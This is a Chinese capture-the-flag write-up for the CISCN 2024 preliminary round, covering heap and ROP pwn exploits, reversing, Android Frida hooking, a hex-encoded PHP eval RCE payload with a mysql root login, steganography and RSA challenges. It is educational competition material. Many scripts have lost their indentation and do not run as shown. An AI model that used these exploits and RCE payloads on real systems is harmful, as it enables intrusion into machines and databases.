记录一下CISCN2024的初赛

WoodpeckerT1战队WRITEUP

战队信息

战队名称:WoodpeckerT1

战队排名:104

Pwn

orange_cat_diary

经典堆题目,题目提示了 orange,想到 house of orange 的攻击手法,题目允许在再次编辑的时候溢出 8 个字节,show 和 free 的次数有限,因此先通过 house of orange 改变 topchunk 的 size。然后申请比 topchunk 更大的堆块,此时 topchunk 就会被 free 进入 unsorted chunk,再次申请并打印内容可以获得 glibc 的地址。然后就是利用 uaf 漏洞触发 fastbin attack 劫持 __malloc_hook-0x23 处的堆块,给 malloc_hook 写入 one_gadget 的地址。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *
context.log_level='debug'
#p=process('./orange_cat_diary')
p=remote('8.147.128.96',13755)
libc=ELF('/home/xia0ji233/pwn/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')

def choice(i):
p.sendlineafter('choice:',str(i))

def add(size,content):
choice(1)
p.sendlineafter('content:',str(size))
p.sendafter('content:',content)
def edit(size,content):
choice(4)
p.sendlineafter('content:',str(size))
p.sendafter('content:',content)

p.sendafter('name.','xia0ji233')

add(0x68,b'a')
edit(0x70,b'a'*0x68+p64(0x0f91))
add(0x1000,b'a')
add(0x18,b'a'*8)
choice(2)
libc_addr=u64(p.recvuntil(b'\x7f')[-6:]+b'\0\0')-1640-0x10-libc.sym['__malloc_hook']
success('libc_addr: '+hex(libc_addr))
one=[0x45226,0x4527a,0xf03a4,0xf1247]
add(0x68,b'a')
choice(3)
edit(0x10,p64(libc_addr+libc.sym['__malloc_hook']-0x23))
add(0x68,b'a')
add(0x68,b'a'*(0x13)+p64(libc_addr+one[2]))

'''
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
gdb.attach(p,'b malloc')
choice(1)
p.sendlineafter('content:',str(0x20))
p.interactive()

go_stack

go的pwn虽然没有接触过,但是题目运行逻辑非常简单。这里可以用 pwndbg 的 cyclic 去确定溢出的位置。先生成很长的测试字符串 cyclic 0x200,输入之后得到 go 自带的返回地址错误,值为 0x6361616161616169

1
2
3
pwndbg> cyclic -l 'iaaaaaac'
Finding cyclic pattern of 8 bytes: b'iaaaaaac' (hex: 0x6961616161616163)
Found at offset 464

随后就是构造 ROP 链,利用 ROPgadget 工具找到 gadget 位置即可开打。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
frompwnimport*
context(arch='amd64',os='linux',log_level='debug')
file_name='./gostack'
elf=ELF(file_name)
libc=elf.libc
#p=process(file_name)
p=remote('8.147.133.63',12953)
syscall=0x0000000000404043
rax_ret=0x000000000040f984
rdi_6_ret=0x00000000004a18a5
rsi_ret=0x000000000042138a
rdx_ret=0x00000000004944ec
p.recvuntil('message:')
payload=b'a'*0x100+p64(elf.bss())+p64(0x10)+p64(0)*0x18
payload+=p64(rdi_6_ret)+p64(0)*6+p64(rsi_ret)+p64(elf.bss()+0x200)+p64(rdx_ret)+p64(0x100)+p64(rax_ret)+p64(0)+p64(syscall)
payload+=p64(rdi_6_ret)+p64(elf.bss()+0x200)+p64(0)*5
payload+=p64(rdi_6_ret)+p64(elf.bss()+0x200)+p64(0)*5
payload+=p64(rdi_6_ret)+p64(elf.bss()+0x200)+p64(0)*5+p64(rsi_ret)+p64(0)+p64(rdx_ret)+p64(0)+p64(rax_ret)+p64(59)+p64(syscall)
p.sendline(payload)
time.sleep(2)
p.send('/bin/sh\0')
p.interactive()

Reverse

asm_re

程序对两个变量进行加乘和异或操作 找到数据存储位置 对十六进制数据逆向操作,先加30再进行异或,减20后除80

1
2
3
4
5
6
7
8
9
10
11
s = s.split("\n")
l = []
flag = ''
for i in range(len(s)):
    x = s[i].split(" ")[1]
    l.append(x)
for i in range(0, len(l), 4):
    x = l[i:i + 4]
    p = int(x[1] + x[0], 16)
    flag += chr((((p - 30) ^ 0x4d) - 20) // 80)
print(flag)

s为原始数据此处省略

whereThel1b

给的附件可以直接运行,多次尝试发现只有调用 trytry 函数是校验的,可以算出密文列表,多次修改发现,单个密文只能影响1到2个字节,于是可以尝试手动爆破,在字符集当中进行遍历,观测密文是否一致。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import whereThel1b


# flag = input("where is my flag:")
# flag = flag.encode()
encry = [108, 117, 72, 80, 64, 49, 99, 19, 69, 115, 94, 93, 94, 115, 71, 95, 84, 89, 56, 101, 70, 2, 84, 75, 127, 68, 103, 85, 105, 113, 80, 103, 95, 67, 81, 7, 113, 70, 47, 73, 92, 124, 93, 120, 104, 108, 106, 17, 80, 102, 101, 75, 93, 68, 121, 26]
#whereThel1b.whereistheflag(flag)
flagprefix='flag{7f9a2d3c-07de-11ef-be5e-cf1e88674c0b}'
flagsuffix='a'*(42-len(flagprefix)-1)
l=56
t='0123456789abcdef-{}'
for i in t:
flag=flagprefix+i+flagsuffix
flag=flag.encode()
# whereThel1b.whereistheflag(flag)
ret = whereThel1b.trytry(flag)
if ret[:l]==encry[:l]:
print(ret[40:],len(ret))
print(encry[40:],len(encry))
print(flag)
# break

有些地方会有多个可能的字符,因此需要调大参数 l 一个一个试过去,最后得到了正确的 flag。

gdb_debug

这题经过仔细地调试还是发现基本单字节模式的加密,于是也爆破。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *
#context.log_level='debug'
target=b'congratulationstoyoucongratulationstoy'
def compare(s1,s2):
cnt=0
for i in range(len(s1)):
if s1[i]==s2[i]:
cnt += 1
return cnt
model='flag{78bace5989660ee38f1fd980xxxxxxxx}'
now=6+24
for i in range(38):
if model[i]!='x':continue
for k in range(0x21,0x7f):
flag=model[:i]+chr(k)+model[i+1:]
p=process('./gdb_debug')
p.sendlineafter("Please enter the flag string (ensuring the format is 'flag{}' and the total length is 38 characters).",flag)
p.recvline()
p.recvline()
s=p.recvuntil('Error')[:-6]
if compare(s,target)==now+1:
model=model[:i]+chr(k)+model[i+1:]
now+=1
print(model)
p.shutdown()
break
p.shutdown()
#flag{78bace5989660ee38f1fd980a4b4fbcd}

now变量控制当前有几个字符是密文一样的,因为没有控制字符集,一次运行不完(进程太多了),但是每次都会输出结果,因此分多次跑很快可以跑完。

这里需要patch原来的程序,将 strcmp 改为输出密文字符串。

E8 84 字节 改为 E8 44 (即把strcmp的plt改成puts的plt偏移)

Android

反编译得到AES加密密文 使用Frida进行hook得到key和iv

脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
function main() {
    Java.perform(function () {
        var jni = Java.use("com.example.re11113.jni");
        jni.getkey.overload().implementation = function () {
            var key = this.getkey();
            var iv = this.getiv();
            console.log("Key:", key);
            console.log("iv:", iv);
            sead("Key:", key);

            return key;
        };
    });
}
setImmediate(main);
import frida
import sys
def on_message(message, data):
    if message['type'] == 'send':
        print(message['payload'])
        print("{0}".format(message['payload']))
    else:
        print(str(message))
with open('code.js', 'r') as f:
    js_code = f.read()
session = frida.get_remote_device().attach('Re11113')
script = session.create_script(js_code)
script.on('message', on_message)
script.load()
sys.stdin.read()

得到key和iv 使用key和iv解密得到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import base64
from Crypto.Cipher import DES
from Crypto.Util.Padding import unpad

def encode(encrypted_message, key, iv):
        cipher = DES.new(key, DES.MODE_CBC, iv)
        decrypted_bytes = cipher.decrypt(base64.b64decode(encrypted_message))
        decrypted_message = unpad(decrypted_bytes, DES.block_size).decode('utf-8')
        return decrypted_message
enmessage = "JqslHrdvtgJrRs2QAp+FEVdwRPNLswrnykD/sZMivmjGRKUMVIC/rw=="
key = b'A8UdWaeq'
iv = b'Wf3DLups'
demessage = encode(enmessage, key, iv)
print(demessage)

WEB

Simple_php

读源码发现没有过滤php,传入php --version发现可以执行

没有过滤eval,但过滤base64和url,尝试使用16进制编码,首先尝试执行系统命令,对whoami编码得到6563686F206077686F616D69603B,但单引号和双引号被过滤,加上_得到_6563686F206077686F616D69603B,发现可以RCE

在数据库中发现flag,payload:Echo mysql -u root -p ‘root’ -e ‘use PHP_CMS;select * from F1ag_Se3Re7;’;

进行十六进制编码得到 cmd=php -r eval(hex2bin(substr(_6563686f20606d7973716c202d7520726f6f74202d7027726f6f7427202d652027757365205048505f434d533b73686f77207461626c65733b73656c656374202a2066726f6d20463161675f5365335265373b27603b,1)));

easycms

MISC

打卡

答完题发现直接给了flag

盗版软件

根据题目描述可知dmp为浏览器文件,更改后缀为data原始数据,gimp调整位移

得到域名winhack.com,虚拟机中双击exe运行出一张图片,zsteg大致看了下发现lsb确实有东西,用stegsolve细致看看

发现red全通道有个压缩包,但是文件被间隔开了,利用脚本进行提取

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def extract_alternate_bytes(input_file, output_file):
try:
with open(input_file, 'rb') as infile, open(output_file, 'wb') as outfile:
byte = infile.read(1) # 读取第一个字节
while byte:
outfile.write(byte) # 写入这个字节到输出文件
infile.seek(1, 1) # 跳过下一个字节
byte = infile.read(1) # 读取下一个字节
print(f"提取完成,结果已保存到 {output_file}")
except Exception as e:
print(f"出现错误: {e}")

# 使用示例
input_file = '1' # 为stegsolve导出的文件16进制
output_file = '1.zip' # 替换为你的输出文件名
extract_alternate_bytes(input_file, output_file)

得到压缩包中一个.b文件,base85解码之后微步分析

得到ip,39.100.72.235

得到flag flag{096e8b0f9daf10869f013c1b7efda3fd}

通风机

上网搜了下mwp后缀文件搜索软件最终找到了STEP 7-MicroWIN SMART一开始发现文件导不进去,对比了下正确文件的文件头,修补一下文件头。

打开之后在符号表中找到了flag的base64编码

直接base64解码一下得到flag

flag{2467ce26-fff9-4008-8d55-17df83ecbfc2}

神秘文件

  1. ppt中找到密文得到part4:6f-40
  2. ppt备注找到密文,base64循环解密之后得到part5:5f-90d
  3. 缩小后发现密文,得到part6:d-2
  4. 解压文件有一张图片 part9:dee
  5. 在ppt/comments/comment1.xml文件中找到part10:9}
  6. 在ppt,从中可以获得凯撒解密获得part2:675efb
  7. 在ppt/slideLayouts/slideLayout2.xml中找到密文,去点多余的字符,解密得到part8:87e
  8. ppt/slides/slide4.xml中找到密文,rot13后解密得part7:22b3
  9. 在.xml中找到密文密钥,使用Bifid解密得到part1:flag{e
  10. ppt的vbaProject.bin文件中找到一串密文,rc4解密后得到part3:3-34

按顺序拼接即是flag。flag{e675efb3-346f-405f-90dd-222b387edee9}

大学生安全测试能力调研问卷

p&p

按照主页提示拿到 www.zip 源码。

将vuln.wasm拖入jeb分析,在 f15 中找到了主逻辑。

1
2
3
4
5
int __f15() {
__f13();
__f14();
return 0;
}

关键步骤__f14(),通过测试是将flag.txt写入file.txt的位置

经过分析发现 164 个字符可以写到 file.txt 的位置,又因为被限制只能写入8个字符,而当前目录任意文件名长度为1的文件即可满足要求static/x

exp:

顺序访问以下路由即可得到flag文件

1
2
3
/upload?name=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaastatic/a
/test
/static/a

flag{4c11b668-5872-4066-8ec5-50c87134972d}

Power Trajectory Diagram

根据题目描述

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import numpy as np
f = np.load('attachment.npz')
index = f['index']
inputs = f['input']
traces = f['trace']
for iteration in range(12):
t = []
table = inputs[40*iteration:40*(iteration+1)]
for i in range(40):
min_index = np.argmin(traces[iteration*40 + i])
t.append(min_index)
max_index = np.argmax(t)
ch = table[max_index]
print(ch, end='')

解出flag flag{_ciscn_2024_}

Crypto

古典密码

flag flag{b2bb0873-8cae-4977-a6de-0e298f0744c3}

hash

通过查阅文献了解到 python2.7 的hash函数返回值是 64 位的 int 数,因此做的计算相当于会对 1<<64 取模。

根据计算的特点写出脚本计算七位随机值:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import random
import gmpy2 as gp
from Crypto.Util.number import *
import hashlib,binascii
l=64
mask=(1<<64)-1
dict={}
for a in range(256):
x = 0
x=(x^(a<<7))&mask
x = ((x * 1000003) ^ a) & mask
for b in range(256):
x2=((x*1000003)^b)&mask
for c in range(256):
x3=((x2*1000003)^c)&mask
dict[x3]=bytes([a,b,c])
ni=inverse(1000003,1<<64)
r=7457312583301101235
for a in range(256):
print(a)
r1=((r^a)*ni)&mask
for b in range(256):
r2=((r1^b)*ni)&mask
for c in range(256):
r3 = ((r2 ^ c) * ni) & mask
for d in range(256):
r4 = ((r3 ^ d) * ni) & mask
if r4 in dict.keys():
print(dict[r4]+bytes([d,c,b,a]))
exit(0)

得到key的值为 b']\x8c\xf0?Z\x08R'

1
2
3
4
5
6
7
8
9
10
#!/usr/bin/python2
# Python 2.7 (64-bit version)

import os, binascii, hashlib
from Crypto.Util.number import *
key = b']\x8c\xf0?Z\x08R'

print(hash(key))
flag=13903983817893117249931704406959869971132956255130487015289848690577655239262013033618370827749581909492660806312017
print (long_to_bytes(int(hashlib.sha384(binascii.hexlify(key)).hexdigest(), 16) ^ flag))

运行即可得到flag flag{bdb537aa-87ef-4e95-bea4-2f79259bdd07}

OvO

直接令 rr=e//n,因为可以发现其它常数基本远小于 rr*N 的数量级,kk=rr-2。

联立方程可以得到 p 的近似值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from Crypto.Util.number import *
import sympy

n = 111922722351752356094117957341697336848130397712588425954225300832977768690114834703654895285440684751636198779555891692340301590396539921700125219784729325979197290342352480495970455903120265334661588516182848933843212275742914269686197484648288073599387074325226321407600351615258973610780463417788580083967
e = 37059679294843322451875129178470872595128216054082068877693632035071251762179299783152435312052608685562859680569924924133175684413544051218945466380415013172416093939670064185752780945383069447693745538721548393982857225386614608359109463927663728739248286686902750649766277564516226052064304547032760477638585302695605907950461140971727150383104
c = 14999622534973796113769052025256345914577762432817016713135991450161695032250733213228587506601968633155119211807176051329626895125610484405486794783282214597165875393081405999090879096563311452831794796859427268724737377560053552626220191435015101496941337770496898383092414492348672126813183368337602023823

rr = e//n
kk = rr-2
xx = sympy.symbols('xx')
s = (kk+rr)*xx*xx +(rr*n+rr+65538-e)*xx + rr*n
xx = sympy.solve(s,'xx')
print(int(xx[1]))

运行之后得到P的近似值

1
#9915449532466780441980882114644132757469503045317741049786571327753160105973102603393585703801838713884852201325856459312958617061518425294700379906584666

做法参考了本篇博客 https://blog.csdn.net/XiongSiqi_blog/article/details/130171830。

得到近似值之后变为 partial p 的问题,网上脚本也挺多的,这里参考了这一偏文章 https://dunkirkturbo.github.io/2020/02/28/Summary-of-Crypto-in-CTF-RSA/

1
2
3
4
5
6
7
8
9
10
11
12
n = 111922722351752356094117957341697336848130397712588425954225300832977768690114834703654895285440684751636198779555891692340301590396539921700125219784729325979197290342352480495970455903120265334661588516182848933843212275742914269686197484648288073599387074325226321407600351615258973610780463417788580083967
e = 37059679294843322451875129178470872595128216054082068877693632035071251762179299783152435312052608685562859680569924924133175684413544051218945466380415013172416093939670064185752780945383069447693745538721548393982857225386614608359109463927663728739248286686902750649766277564516226052064304547032760477638585302695605907950461140971727150383104
c = 14999622534973796113769052025256345914577762432817016713135991450161695032250733213228587506601968633155119211807176051329626895125610484405486794783282214597165875393081405999090879096563311452831794796859427268724737377560053552626220191435015101496941337770496898383092414492348672126813183368337602023823
pbar = 9915449532466780441980882114644132757469503045317741049786571327753160105973102603393585703801838713884852201325856459312958617061518425294700379906584666
kbits = 100
PR.<x> = PolynomialRing(Zmod(n))
f = x + pbar
x0 = f.small_roots(X=2^kbits, beta=0.4)[0] # find root < 2^kbits with factor >= n^0.4
p = x0 + pbar
print("p:", p)
q = n // int(p)
print(p*q==n)

成功分解 p 和 q 之后,就是正常的 RSA 解密算法。

1
2
3
4
5
6
7
8
9
10
11
12
13
from Crypto.Util.number import *
n = 111922722351752356094117957341697336848130397712588425954225300832977768690114834703654895285440684751636198779555891692340301590396539921700125219784729325979197290342352480495970455903120265334661588516182848933843212275742914269686197484648288073599387074325226321407600351615258973610780463417788580083967
e = 37059679294843322451875129178470872595128216054082068877693632035071251762179299783152435312052608685562859680569924924133175684413544051218945466380415013172416093939670064185752780945383069447693745538721548393982857225386614608359109463927663728739248286686902750649766277564516226052064304547032760477638585302695605907950461140971727150383104
c = 14999622534973796113769052025256345914577762432817016713135991450161695032250733213228587506601968633155119211807176051329626895125610484405486794783282214597165875393081405999090879096563311452831794796859427268724737377560053552626220191435015101496941337770496898383092414492348672126813183368337602023823
p = 9915449532466780441980882114644132757469503045317741049786571327753160105973102603393585703801838713884852201325856459312958617061522496169870935934745091
q = n//p
rr = e//n
kk = rr-2

e = 65537 + kk * p + rr * ((p+1) * (q+1)) + 1
d = inverse(e,(p-1)*(q-1))
c = 14999622534973796113769052025256345914577762432817016713135991450161695032250733213228587506601968633155119211807176051329626895125610484405486794783282214597165875393081405999090879096563311452831794796859427268724737377560053552626220191435015101496941337770496898383092414492348672126813183368337602023823
print(long_to_bytes(pow(c,d,n)))

得到flag :flag{b5f771c6-18df-49a9-9d6d-ee7804f5416c}